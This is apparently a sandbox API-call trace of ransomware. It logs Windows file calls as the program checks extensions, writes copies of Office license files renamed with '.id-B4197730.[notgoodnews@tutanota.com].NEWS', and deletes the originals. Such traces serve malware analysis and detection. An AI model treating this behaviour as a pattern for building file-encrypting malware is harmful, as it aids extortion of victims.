[0176.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0176.747] lstrlenW (lpString=".dbf") returned 4 [0176.747] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0176.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0176.747] lstrlenW (lpString=".1cd") returned 4 [0176.747] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0176.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0176.747] lstrlenW (lpString=".jpg") returned 4 [0176.747] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0176.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0176.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0176.747] lstrlenW (lpString=".doc") returned 4 [0176.747] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0176.747] lstrlenW (lpString=".docx") returned 5 [0176.747] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0176.747] lstrlenW (lpString=".pdf") returned 4 [0176.747] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0176.747] lstrlenW (lpString=".xls") returned 4 [0176.747] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0176.747] lstrlenW (lpString=".xlsx") returned 5 [0176.747] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0176.747] lstrlenW (lpString=".ppt") returned 4 [0176.747] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0176.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0176.747] lstrlenW (lpString=".zip") returned 4 [0176.747] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0176.747] lstrlenW (lpString=".rar") returned 4 [0176.747] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0176.747] lstrlenW (lpString=".bz2") returned 4 [0176.747] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0176.748] lstrlenW (lpString=".7z") returned 3 [0176.748] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0176.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0176.748] lstrlenW (lpString=".dbf") returned 4 [0176.748] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0176.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0176.748] lstrlenW (lpString=".1cd") returned 4 [0176.748] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0176.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0176.748] lstrlenW (lpString=".jpg") returned 4 [0176.748] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0176.748] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0176.748] lstrlenW (lpString="AccessR_Retail-ppd.xrm-ms") returned 25 [0176.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0176.749] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=20778) returned 1 [0176.749] CloseHandle (hObject=0x550) returned 1 [0176.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 0x220 [0176.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0176.749] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.750] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0176.750] GetLastError () returned 0x0 [0176.750] ReadFile (in: hFile=0x550, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x512a, lpOverlapped=0x0) returned 1 [0176.801] WriteFile (in: hFile=0x450, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x5130, lpOverlapped=0x0) returned 1 [0176.802] ReadFile (in: hFile=0x550, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0176.802] WriteFile (in: hFile=0x450, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x106, lpOverlapped=0x0) returned 1 [0176.802] SetEndOfFile (hFile=0x450) returned 1 [0176.802] CloseHandle (hObject=0x450) returned 1 [0176.802] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.802] SetEndOfFile (hFile=0x550) returned 1 [0176.834] CloseHandle (hObject=0x550) returned 1 [0176.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0177.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 1 [0177.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0177.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0177.731] lstrlenW (lpString=".doc") returned 4 [0177.731] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.731] lstrlenW (lpString=".docx") returned 5 [0177.731] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.731] lstrlenW (lpString=".pdf") returned 4 [0177.731] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.731] lstrlenW (lpString=".xls") returned 4 [0177.731] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.746] lstrlenW (lpString=".xlsx") returned 5 [0177.746] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.746] lstrlenW (lpString=".ppt") returned 4 [0177.746] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0177.746] lstrlenW (lpString=".zip") returned 4 [0177.746] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.746] lstrlenW (lpString=".rar") returned 4 [0177.747] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.747] lstrlenW (lpString=".bz2") returned 4 [0177.747] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.747] lstrlenW (lpString=".7z") returned 3 [0177.747] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0177.747] lstrlenW (lpString=".dbf") returned 4 [0177.747] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0177.747] lstrlenW (lpString=".1cd") returned 4 [0177.747] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0177.747] lstrlenW (lpString=".jpg") returned 4 [0177.747] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0177.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0177.747] lstrlenW (lpString=".doc") returned 4 [0177.747] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.747] lstrlenW (lpString=".docx") returned 5 [0177.747] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.747] lstrlenW (lpString=".pdf") returned 4 [0177.747] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.747] lstrlenW (lpString=".xls") returned 4 [0177.747] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.747] lstrlenW (lpString=".xlsx") returned 5 [0177.747] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.747] lstrlenW (lpString=".ppt") returned 4 [0177.747] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0177.747] lstrlenW (lpString=".zip") returned 4 [0177.747] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.747] lstrlenW (lpString=".rar") returned 4 [0177.748] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.748] lstrlenW (lpString=".bz2") returned 4 [0177.748] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.748] lstrlenW (lpString=".7z") returned 3 [0177.748] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0177.748] lstrlenW (lpString=".dbf") returned 4 [0177.748] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0177.748] lstrlenW (lpString=".1cd") returned 4 [0177.748] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0177.748] lstrlenW (lpString=".jpg") returned 4 [0177.748] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.748] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0177.748] lstrlenW (lpString="AccessVL_KMS_Client-ul-oob.xrm-ms") returned 33 [0177.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0177.749] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11614) returned 1 [0177.749] CloseHandle (hObject=0x36c) returned 1 [0177.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0177.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0177.750] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.750] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0177.751] GetLastError () returned 0x0 [0177.751] ReadFile (in: hFile=0x36c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2d5e, lpOverlapped=0x0) returned 1 [0177.768] WriteFile (in: hFile=0x4dc, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0177.769] ReadFile (in: hFile=0x36c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0177.769] WriteFile (in: hFile=0x4dc, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x116, lpOverlapped=0x0) returned 1 [0177.769] SetEndOfFile (hFile=0x4dc) returned 1 [0177.770] CloseHandle (hObject=0x4dc) returned 1 [0177.770] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.770] SetEndOfFile (hFile=0x36c) returned 1 [0177.774] CloseHandle (hObject=0x36c) returned 1 [0177.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0177.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 1 [0177.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0177.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0177.775] lstrlenW (lpString=".doc") returned 4 [0177.775] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.775] lstrlenW (lpString=".docx") returned 5 [0177.775] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.775] lstrlenW (lpString=".pdf") returned 4 [0177.776] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.776] lstrlenW (lpString=".xls") returned 4 [0177.776] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.776] lstrlenW (lpString=".xlsx") returned 5 [0177.776] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.776] lstrlenW (lpString=".ppt") returned 4 [0177.776] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0177.776] lstrlenW (lpString=".zip") returned 4 [0177.776] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.776] lstrlenW (lpString=".rar") returned 4 [0177.776] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.776] lstrlenW (lpString=".bz2") returned 4 [0177.776] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.776] lstrlenW (lpString=".7z") returned 3 [0177.776] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0177.776] lstrlenW (lpString=".dbf") returned 4 [0177.776] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0177.776] lstrlenW (lpString=".1cd") returned 4 [0177.776] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0177.776] lstrlenW (lpString=".jpg") returned 4 [0177.776] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0177.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0177.776] lstrlenW (lpString=".doc") returned 4 [0177.776] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.776] lstrlenW (lpString=".docx") returned 5 [0177.776] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.776] lstrlenW (lpString=".pdf") returned 4 [0177.777] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.777] lstrlenW (lpString=".xls") returned 4 [0177.777] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.777] lstrlenW (lpString=".xlsx") returned 5 [0177.777] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.777] lstrlenW (lpString=".ppt") returned 4 [0177.777] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0177.777] lstrlenW (lpString=".zip") returned 4 [0177.777] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.777] lstrlenW (lpString=".rar") returned 4 [0177.777] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.777] lstrlenW (lpString=".bz2") returned 4 [0177.777] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.777] lstrlenW (lpString=".7z") returned 3 [0177.777] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0177.777] lstrlenW (lpString=".dbf") returned 4 [0177.777] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0177.777] lstrlenW (lpString=".1cd") returned 4 [0177.777] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0177.777] lstrlenW (lpString=".jpg") returned 4 [0177.777] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.778] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0177.778] lstrlenW (lpString="AccessVL_MAK-pl.xrm-ms") returned 22 [0177.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0177.779] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=10623) returned 1 [0177.779] CloseHandle (hObject=0x36c) returned 1 [0177.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 0x220 [0177.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0177.779] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.779] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0177.780] GetLastError () returned 0x0 [0177.780] ReadFile (in: hFile=0x36c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x297f, lpOverlapped=0x0) returned 1 [0178.191] WriteFile (in: hFile=0x4dc, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2980, lpOverlapped=0x0) returned 1 [0178.491] ReadFile (in: hFile=0x36c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.491] WriteFile (in: hFile=0x4dc, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x100, lpOverlapped=0x0) returned 1 [0178.491] SetEndOfFile (hFile=0x4dc) returned 1 [0179.079] CloseHandle (hObject=0x4dc) returned 1 [0179.079] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.079] SetEndOfFile (hFile=0x36c) returned 1 [0179.085] CloseHandle (hObject=0x36c) returned 1 [0179.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 1 [0179.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0179.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0179.087] lstrlenW (lpString=".doc") returned 4 [0179.087] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0179.087] lstrlenW (lpString=".docx") returned 5 [0179.087] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0179.087] lstrlenW (lpString=".pdf") returned 4 [0179.087] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0179.087] lstrlenW (lpString=".xls") returned 4 [0179.087] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0179.087] lstrlenW (lpString=".xlsx") returned 5 [0179.087] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0179.087] lstrlenW (lpString=".ppt") returned 4 [0179.088] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0179.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0179.088] lstrlenW (lpString=".zip") returned 4 [0179.088] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0179.088] lstrlenW 